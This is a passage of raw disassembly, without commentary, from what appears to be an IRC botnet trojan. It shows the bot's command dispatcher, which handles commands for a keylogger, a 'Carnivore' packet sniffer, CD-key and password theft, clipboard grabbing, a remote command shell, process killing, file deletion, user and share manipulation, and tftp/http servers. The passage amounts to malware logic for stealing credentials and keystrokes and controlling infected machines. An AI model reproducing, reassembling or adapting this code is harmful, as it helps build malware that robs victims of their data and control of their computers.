aClonestop ; "clonestop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D6D9 push [ebp+esi+var_90] push 17h push offset aClone ; "Clone" push offset aClones ; "[CLONES]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D6D9: ; CODE XREF: sub_40C50A+11B5j push edi push offset aSecurestop ; "securestop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D702 push [ebp+esi+var_90] push 19h push offset aSecure_0 ; "Secure" push offset aSecure_1 ; "[SECURE]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D702: ; CODE XREF: sub_40C50A+11DEj push edi push offset aScanstop ; "scanstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D72B push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aScan_0 ; "[SCAN]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40D72B: ; CODE XREF: sub_40C50A+1207j push edi push offset aScanstats ; "scanstats" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41225B push edi push offset aStats ; "stats" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41225B push edi push offset aReconnect ; "reconnect" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41223A push edi push offset aR_0 ; "r" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41223A push edi push offset aDisconnect ; "disconnect" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412218 push edi push offset aDc ; "dc" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412218 push edi push offset aQuit_1 ; "quit" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4121D0 push edi push offset aQ ; "q" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4121D0 push edi push offset aStatus ; "status" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412192 push edi push offset aS_12 ; "s" call sub_419360 pop ecx test eax, eax pop ecx jz loc_412192 push edi push offset aId ; "id" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41215B push edi push offset aI_0 ; "i" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41215B push edi push offset aReboot ; "reboot" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40D879 call sub_409D0C test eax, eax mov eax, offset aMainRebootingS ; "[MAIN]: Rebooting system." jnz short loc_40D84B mov eax, offset aMainFailedToRe ; "[MAIN]: Failed to reboot system." loc_40D84B: ; CODE XREF: sub_40C50A+133Aj push eax lea eax, [ebp+var_2DC] push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 1Ch jmp loc_40CE3C ; --------------------------------------------------------------------------- loc_40D879: ; CODE XREF: sub_40C50A+132Cj push edi push offset aThreads ; "threads" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41206A push edi push offset aT ; "t" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41206A push edi push offset aAliases ; "aliases" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41204A push edi push offset aAl ; "al" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41204A push edi push offset aLog_0 ; "log" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411F5A push edi push offset aLg ; "lg" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411F5A push edi push offset aClearlog ; "clearlog" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411F3E push edi push offset aClg ; "clg" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411F3E push edi push offset aNetinfo ; "netinfo" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411F07 push edi push offset aNi ; "ni" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411F07 push edi push offset aSysinfo ; "sysinfo" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411EDC push edi push offset aSi ; "si" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411EDC push edi push offset aRemov10e ; "remov10e" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411EA2 push edi push offset aRemov10e2 ; "remov10e2" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411EA2 push edi push offset aProcs ; "procs" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411D8E push edi push offset aPs ; "ps" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411D8E push edi push offset aGetcdkeys ; "getcdkeys" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411D64 push edi push offset aKey ; "key" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411D64 push edi push offset aUptime ; "uptime" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411CE0 push edi push offset aUp ; "up" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411CE0 push edi push offset aDriveinfo ; "driveinfo" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411CC3 push edi push offset aDrv ; "drv" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411CC3 push edi push offset aTestdlls ; "testdlls" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411CAA push edi push offset aDll ; "dll" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411CAA push edi push offset aOpencmd ; "opencmd" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411C63 push edi push offset aOcmd ; "ocmd" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411C63 push edi push offset aCmdstop ; "cmdstop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40DAC4 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_412299 ; --------------------------------------------------------------------------- loc_40DAC4: ; CODE XREF: sub_40C50A+15A0j push edi push offset aWho ; "who" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40DB51 cmp [ebp+var_8], ebx jnz short loc_40DAF4 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h loc_40DAF4: ; CODE XREF: sub_40C50A+15CEj mov edi, [ebp+arg_18] xor esi, esi loc_40DAF9: ; CODE XREF: sub_40C50A+1635j cmp [edi], bl lea eax, [edi+1] jnz short loc_40DB05 mov eax, offset aEmpty ; "<Empty>" loc_40DB05: ; CODE XREF: sub_40C50A+15F4j push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_418D70 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_40DAF9 push offset aMainLoginListC ; "[MAIN]: Login list complete." loc_40DB46: ; CODE XREF: sub_40C50A+5C4Cj call sub_4035E1 pop ecx jmp loc_41263B ; --------------------------------------------------------------------------- loc_40DB51: ; CODE XREF: sub_40C50A+15C9j push edi push offset aGetclip ; "getclip" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411C22 push edi push offset aGc ; "gc" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411C22 push edi push offset aFlusharp ; "flusharp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411BF7 push edi push offset aFarp ; "farp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411BF7 push edi push offset aFlushdns ; "flushdns" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411BD3 push edi push offset aFdns ; "fdns" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411BD3 push edi push offset aCurrentip ; "currentip" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411B96 push edi push offset aCip ; "cip" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411B96 push edi push offset aRloginserver ; "rloginserver" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411A3A push edi push offset aRlogin ; "rlogin" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411A3A push edi push offset aHttpserver ; "httpserver" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4118C4 push edi push offset aHttp ; "http" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4118C4 push edi push offset aTftpserver ; "tftpserver" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411786 push edi push offset aTftp_0 ; "tftp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411786 push edi push offset aCrash ; "crash" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40DCDD lea eax, [ebp+var_2DC] push offset aMainCrashingBo ; "[MAIN]: Crashing bot." push eax call sub_418D70 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_40DCBC push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h loc_40DCBC: ; CODE XREF: sub_40C50A+1794j lea eax, [ebp+var_2DC] push eax call sub_4035E1 mov [esp+10h+var_10], offset aCrash_0 ; "crash" push [ebp+esi+var_80] call sub_419360 jmp loc_4127C7 ; --------------------------------------------------------------------------- loc_40DCDD: ; CODE XREF: sub_40C50A+177Cj push edi push offset aFindpass ; "findpass" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4116DF push edi push offset aFp ; "fp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4116DF push edi push offset aFofofo2 ; "fofofo2" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4113E4 push edi push offset aSfofofo2a ; "sfofofo2a" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4113E4 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40C97C push [ebp+arg_8] push offset aNick_0 ; "nick" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4113CB push [ebp+arg_8] push offset aN ; "n" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4113CB push [ebp+arg_8] push offset aJoin ; "join" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4113AB push [ebp+arg_8] push offset aJ ; "j" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4113AB push [ebp+arg_8] push offset aPart_1 ; "part" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411392 push [ebp+arg_8] push offset aPt ; "pt" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411392 push [ebp+arg_8] push offset aRaw ; "raw" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41135B push [ebp+arg_8] push offset aR_2 ; "r" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41135B push [ebp+arg_8] push offset aKillthread ; "killthread" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411298 push [ebp+arg_8] push offset aK ; "k" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411298 push [ebp+arg_8] push offset aC_quit ; "c_quit" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4111EF push [ebp+arg_8] push offset aC_q ; "c_q" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4111EF push [ebp+arg_8] push offset aC_rndnick ; "c_rndnick" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411198 push [ebp+arg_8] push offset aC_rn ; "c_rn" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411198 push [ebp+arg_8] push offset aPrefix ; "prefix" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411183 push [ebp+arg_8] push offset aPr ; "pr" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411183 push [ebp+arg_8] push offset aOpen_0 ; "open" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411159 push [ebp+arg_8] push offset aO ; "o" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411159 push [ebp+arg_8] push offset aS3rv3rfg ; "s3rv3rfg" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411134 push [ebp+arg_8] push offset aS3rv3rfg2 ; "s3rv3rfg2" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411134 push [ebp+arg_8] push offset aDns ; "dns" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41109C push [ebp+arg_8] push offset aDn ; "dn" call sub_419360 pop ecx test eax, eax pop ecx jz loc_41109C push [ebp+arg_8] push offset aKillproc ; "killproc" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411070 push [ebp+arg_8] push offset aKp ; "kp" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411070 push [ebp+arg_8] push offset aKill ; "kill" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411015 push [ebp+arg_8] push offset aKi ; "ki" call sub_419360 pop ecx test eax, eax pop ecx jz loc_411015 push [ebp+arg_8] push offset aDelete ; "delete" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410FDE push [ebp+arg_8] push offset aDel ; "del" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410FDE push [ebp+arg_8] push offset aGet_2 ; "get" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410EFD push [ebp+arg_8] push offset aGt ; "gt" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410EFD push [ebp+arg_8] push offset aList_0 ; "list" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410EE2 push [ebp+arg_8] push offset aLi ; "li" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410EE2 push [ebp+arg_8] push offset aVisit ; "visit" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410E04 push [ebp+arg_8] push offset aV ; "v" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410E04 push [ebp+arg_8] push offset aMirccmd ; "mirccmd" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410DC9 push [ebp+arg_8] push offset aMirc ; "mirc" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410DC9 push [ebp+arg_8] push offset aCmd_0 ; "cmd" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410D7E push [ebp+arg_8] push offset aCm ; "cm" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410D7E push [ebp+arg_8] push offset aReadfile ; "readfile" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410CF9 push [ebp+arg_8] push offset aRf ; "rf" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410CF9 push [ebp+arg_8] push offset aPsniff_0 ; "psniff" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40E225 push edi push offset aOn ; "on" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40E1ED push 18h call sub_416433 test eax, eax pop ecx jle short loc_40E11A push offset aPsniffAlreadyR ; "[PSNIFF]: Already running." jmp loc_40E361 ; --------------------------------------------------------------------------- loc_40E11A: ; CODE XREF: sub_40C50A+1C04j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_40E15C mov esi, offset aFa ; "#fa" push offset dword_491D84 push esi call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E15C mov esi, [ebp+var_8C] loc_40E15C: ; CODE XREF: sub_40C50A+1C34j ; sub_40C50A+1C4Aj push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_418EF0 lea eax, [ebp+var_2DC] push offset aPsniffCarnivor ; "[PSNIFF]: Carnivore packet sniffer acti"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_4161EB add esp, 20h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_40B86A push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40E1DC loc_40E1C6: ; CODE XREF: sub_40C50A+1CD0j cmp [ebp+var_460], ebx jnz loc_4125A2 push 32h call ds:dword_4942D8 jmp short loc_40E1C6 ; --------------------------------------------------------------------------- loc_40E1DC: ; CODE XREF: sub_40C50A+1CBAj call ds:dword_4942F0 push eax push offset aPsniffFailedTo ; "[PSNIFF]: Failed to start sniffer threa"... jmp loc_412593 ; --------------------------------------------------------------------------- loc_40E1ED: ; CODE XREF: sub_40C50A+1BF4j push edi push offset aOff ; "off" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_4125A2 push ebx push 18h call sub_4163E6 pop ecx cmp eax, ebx pop ecx jle short loc_40E21B push eax push offset aPsniffCarniv_0 ; "[PSNIFF]: Carnivore stopped. (%d thread"... jmp loc_412593 ; --------------------------------------------------------------------------- loc_40E21B: ; CODE XREF: sub_40C50A+1D04j push offset aPsniffNoCarniv ; "[PSNIFF]: No Carnivore thread found." jmp loc_40E361 ; --------------------------------------------------------------------------- loc_40E225: ; CODE XREF: sub_40C50A+1BDFj push [ebp+arg_8] push offset aIdent ; "ident" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40E2F5 push edi push offset aOn_0 ; "on" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E2C0 push 2 call sub_416433 test eax, eax pop ecx jle short loc_40E263 push offset aIdentAlreadyRu ; "[IDENT]: Already running." jmp loc_40E361 ; --------------------------------------------------------------------------- loc_40E263: ; CODE XREF: sub_40C50A+1D4Dj lea eax, [ebp+var_2DC] push offset aIdentdServer_0 ; "[IDENTD]: Server running on Port: 113." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 2 push eax call sub_4161EB add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_40823C push ebx push ebx call ds:dword_4942F4 imul esi, 234h cmp eax, ebx mov dword_44D06C[esi], eax jnz loc_4125A2 call ds:dword_4942F0 push eax push offset aIdentdFailed_0 ; "[IDENTD]: Failed to start server, error"... jmp loc_412593 ; --------------------------------------------------------------------------- loc_40E2C0: ; CODE XREF: sub_40C50A+1D41j push edi push offset aOff_0 ; "off" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_4125A2 push ebx push 2 call sub_4163E6 pop ecx cmp eax, ebx pop ecx jle short loc_40E2EE push eax push offset aIdentServerSto ; "[IDENT]: Server stopped. (%d thread(s) "... jmp loc_412593 ; --------------------------------------------------------------------------- loc_40E2EE: ; CODE XREF: sub_40C50A+1DD7j push offset aIdentNoThreadF ; "[IDENT]: No thread found." jmp short loc_40E361 ; --------------------------------------------------------------------------- loc_40E2F5: ; CODE XREF: sub_40C50A+1D2Cj push [ebp+arg_8] push offset aKeylog ; "keylog" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40E477 push edi push offset aOn_1 ; "on" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40E374 push edi push offset aFile ; "file" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40E374 push edi push offset aOff_1 ; "off" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_4125A2 push ebx push 1Ah call sub_4163E6 pop ecx cmp eax, ebx pop ecx jle short loc_40E35C push eax push offset aKeylogKeyLogge ; "[KEYLOG]: Key logger stopped. (%d threa"... jmp loc_412593 ; --------------------------------------------------------------------------- loc_40E35C: ; CODE XREF: sub_40C50A+1E45j push offset aKeylogNoKeyLog ; "[KEYLOG]: No key logger thread found." loc_40E361: ; CODE XREF: sub_40C50A+1C0Bj ; sub_40C50A+1D16j ... lea eax, [ebp+var_2DC] push eax call sub_418D70 pop ecx pop ecx jmp loc_4125A2 ; --------------------------------------------------------------------------- loc_40E374: ; CODE XREF: sub_40C50A+1E11j ; sub_40C50A+1E22j push 1Ah call sub_416433 test eax, eax pop ecx jle short loc_40E387 push offset aKeylogAlreadyR ; "[KEYLOG]: Already running." jmp short loc_40E361 ; --------------------------------------------------------------------------- loc_40E387: ; CODE XREF: sub_40C50A+1E74j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile_0 ; "file" mov [ebp+var_468], eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E3B6 mov [ebp+var_464], 1 jmp short loc_40E3BF ; --------------------------------------------------------------------------- loc_40E3B6: ; CODE XREF: sub_40C50A+1E9Ej mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_40E3BF: ; CODE XREF: sub_40C50A+1EAAj mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_40E3E6 mov esi, offset aFfkey ; "#ffKey" push offset dword_491D88 push esi call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E3E6 mov esi, [ebp+var_8C] loc_40E3E6: ; CODE XREF: sub_40C50A+1EBEj ; sub_40C50A+1ED4j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_418EF0 lea eax, [ebp+var_2DC] push offset aKeylogKeyLog_0 ; "[KEYLOG]: Key logger active." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_4161EB add esp, 20h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4085A9 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_40E466 loc_40E450: ; CODE XREF: sub_40C50A+1F5Aj cmp [ebp+var_460], ebx jnz loc_4125A2 push 32h call ds:dword_4942D8 jmp short loc_40E450 ; --------------------------------------------------------------------------- loc_40E466: ; CODE XREF: sub_40C50A+1F44j call ds:dword_4942F0 push eax push offset aKeylogFailedTo ; "[KEYLOG]: Failed to start logging threa"... jmp loc_412593 ; --------------------------------------------------------------------------- loc_40E477: ; CODE XREF: sub_40C50A+1DFCj push [ebp+arg_8] push offset aNet ; "net" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40E798 cmp dword_44B790, ebx jz short loc_40E4A8 cmp dword_44B7B8, ebx jz short loc_40E4A8 push offset aNetFailedToLoa ; "[NET]: Failed to load advapi32.dll or n"... jmp loc_40E752 ; --------------------------------------------------------------------------- loc_40E4A8: ; CODE XREF: sub_40C50A+1F8Aj ; sub_40C50A+1F92j cmp [ebp+var_C], ebx jz loc_40E760 mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40E4D0 push eax push [ebp+var_C] call sub_419AB0 pop ecx mov [ebp+arg_0], eax pop ecx loc_40E4D0: ; CODE XREF: sub_40C50A+1FB6j push edi push offset aStart ; "start" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E536 cmp [ebp+arg_18], ebx jz short loc_40E50A push [ebp+arg_0] push 3 call sub_409EB6 push eax push offset aS_13 ; "%s" loc_40E4F6: ; CODE XREF: sub_40C50A+204Dj ; sub_40C50A+2070j ... lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 14h jmp loc_40E760 ; --------------------------------------------------------------------------- loc_40E50A: ; CODE XREF: sub_40C50A+1FDAj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A15D add esp, 0Ch test eax, eax jz short loc_40E52C push offset aNetServiceList ; "[NET]: Service list completed." jmp loc_40E752 ; --------------------------------------------------------------------------- loc_40E52C: ; CODE XREF: sub_40C50A+2016j push offset aNetServiceLi_0 ; "[NET]: Service list failed." jmp loc_40E752 ; --------------------------------------------------------------------------- loc_40E536: ; CODE XREF: sub_40C50A+1FD5j push edi push offset aStop ; "stop" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E559 push [ebp+arg_0] push 4 call sub_409EB6 push eax push offset aS_14 ; "%s" jmp short loc_40E4F6 ; --------------------------------------------------------------------------- loc_40E559: ; CODE XREF: sub_40C50A+203Bj push edi push offset aPause ; "pause" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E57F push [ebp+arg_0] push 5 call sub_409EB6 push eax push offset aS_15 ; "%s" jmp loc_40E4F6 ; --------------------------------------------------------------------------- loc_40E57F: ; CODE XREF: sub_40C50A+205Ej push edi push offset aContinue ; "continue" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E5A5 push [ebp+arg_0] push 6 call sub_409EB6 push eax push offset aS_16 ; "%s" jmp loc_40E4F6 ; --------------------------------------------------------------------------- loc_40E5A5: ; CODE XREF: sub_40C50A+2084j push edi push offset aDelete_0 ; "delete" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E5CB push [ebp+arg_0] push 1 call sub_409EB6 push eax push offset aS_17 ; "%s" jmp loc_40E4F6 ; --------------------------------------------------------------------------- loc_40E5CB: ; CODE XREF: sub_40C50A+20AAj push edi push offset aShare ; "share" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E653 cmp [ebp+arg_18], ebx jz short loc_40E626 cmp [ebp+var_9C4], bl jz short loc_40E5FC push ebx push [ebp+arg_18] push 1 call sub_40A29A push eax push offset aS_18 ; "%s" jmp short loc_40E612 ; --------------------------------------------------------------------------- loc_40E5FC: ; CODE XREF: sub_40C50A+20DDj push [ebp+esi+var_88] push [ebp+arg_18] push ebx call sub_40A29A push eax push offset aS_19 ; "%s" loc_40E612: ; CODE XREF: sub_40C50A+20F0j lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 18h jmp loc_40E760 ; --------------------------------------------------------------------------- loc_40E626: ; CODE XREF: sub_40C50A+20D5j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40A48F add esp, 10h test eax, eax jz short loc_40E649 push offset aNetShareListCo ; "[NET]: Share list completed." jmp loc_40E752 ; --------------------------------------------------------------------------- loc_40E649: ; CODE XREF: sub_40C50A+2133j push offset aNetShareListFa ; "[NET]: Share list failed." jmp loc_40E752 ; --------------------------------------------------------------------------- loc_40E653: ; CODE XREF: sub_40C50A+20D0j push edi push offset aUser_2 ; "user" call sub_419360 pop ecx test eax, eax pop ecx jnz loc_40E705 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40E6DE cmp [ebp+var_9C4], bl jz short loc_40E694 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 call sub_40A5B0 push eax push offset aS_20 ; "%s" jmp short loc_40E6CA ; --------------------------------------------------------------------------- loc_40E694: ; CODE XREF: sub_40C50A+216Bj push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_40E6BB push esi push eax push ebx call sub_40A5B0 push eax push offset aS_21 ; "%s" jmp short loc_40E6CA ; --------------------------------------------------------------------------- loc_40E6BB: ; CODE XREF: sub_40C50A+219Fj push ebx push eax push 2 call sub_40A5B0 push eax push offset aS_22 ; "%s" loc_40E6CA: ; CODE XREF: sub_40C50A+2188j ; sub_40C50A+21AFj lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 24h jmp loc_40E760 ; --------------------------------------------------------------------------- loc_40E6DE: ; CODE XREF: sub_40C50A+2163j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40AAC4 add esp, 10h test eax, eax jz short loc_40E6FE push offset aNetUserListCom ; "[NET]: User list completed." jmp short loc_40E752 ; --------------------------------------------------------------------------- loc_40E6FE: ; CODE XREF: sub_40C50A+21EBj push offset aNetUserListFai ; "[NET]: User list failed." jmp short loc_40E752 ; --------------------------------------------------------------------------- loc_40E705: ; CODE XREF: sub_40C50A+2158j push edi push offset aSend_1 ; "send" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40E74D cmp [ebp+arg_18], ebx jz short loc_40E746 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40AD78 push eax lea eax, [ebp+var_2DC] push offset aS_23 ; "%s" push eax call sub_418D70 add esp, 1Ch jmp short loc_40E760 ; --------------------------------------------------------------------------- loc_40E746: ; CODE XREF: sub_40C50A+220Fj push offset aNetNoMessageSp ; "[NET]: No message specified." jmp short loc_40E752 ; --------------------------------------------------------------------------- loc_40E74D: ; CODE XREF: sub_40C50A+220Aj push offset aNetCommandUnkn ; "[NET]: Command unknown." loc_40E752: ; CODE XREF: sub_40C50A+1F99j ; sub_40C50A+201Dj ... lea eax, [ebp+var_2DC] push eax call sub_418D70 pop ecx pop ecx loc_40E760: ; CODE XREF: sub_40C50A+1FA1j ; sub_40C50A+1FFBj ... cmp [ebp+var_8], ebx jnz short loc_40E781 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h loc_40E781: ; CODE XREF: sub_40C50A+2259j ; sub_40C50A+4864j ... mov esi, [ebp+arg_24] loc_40E784: ; CODE XREF: sub_40C50A+935j ; sub_40C50A+4B3Fj ... lea eax, [ebp+var_2DC] push eax call sub_4035E1 pop ecx mov eax, esi jmp loc_40C97F ; --------------------------------------------------------------------------- loc_40E798: ; CODE XREF: sub_40C50A+1F7Ej push [ebp+arg_8] push offset aCapture ; "capture" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410AB6 push [ebp+arg_8] push offset aCap ; "cap" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410AB6 push [ebp+arg_8] push offset aGethost ; "gethost" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4109D2 push [ebp+arg_8] push offset aGh ; "gh" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4109D2 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40C97C push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410996 push [ebp+arg_8] push offset aAa ; "aa" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410996 push [ebp+arg_8] push offset aPrivmsg_2 ; "privmsg" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410943 push [ebp+arg_8] push offset aPm_0 ; "pm" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410943 push [ebp+arg_8] push offset aAction ; "action" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4108D5 push [ebp+arg_8] push offset aA_1 ; "a" call sub_419360 pop ecx test eax, eax pop ecx jz loc_4108D5 push [ebp+arg_8] push offset aCycle ; "cycle" call sub_419360 pop ecx test eax, eax pop ecx jz loc_410872 push [ebp+arg_8] push offset aCy 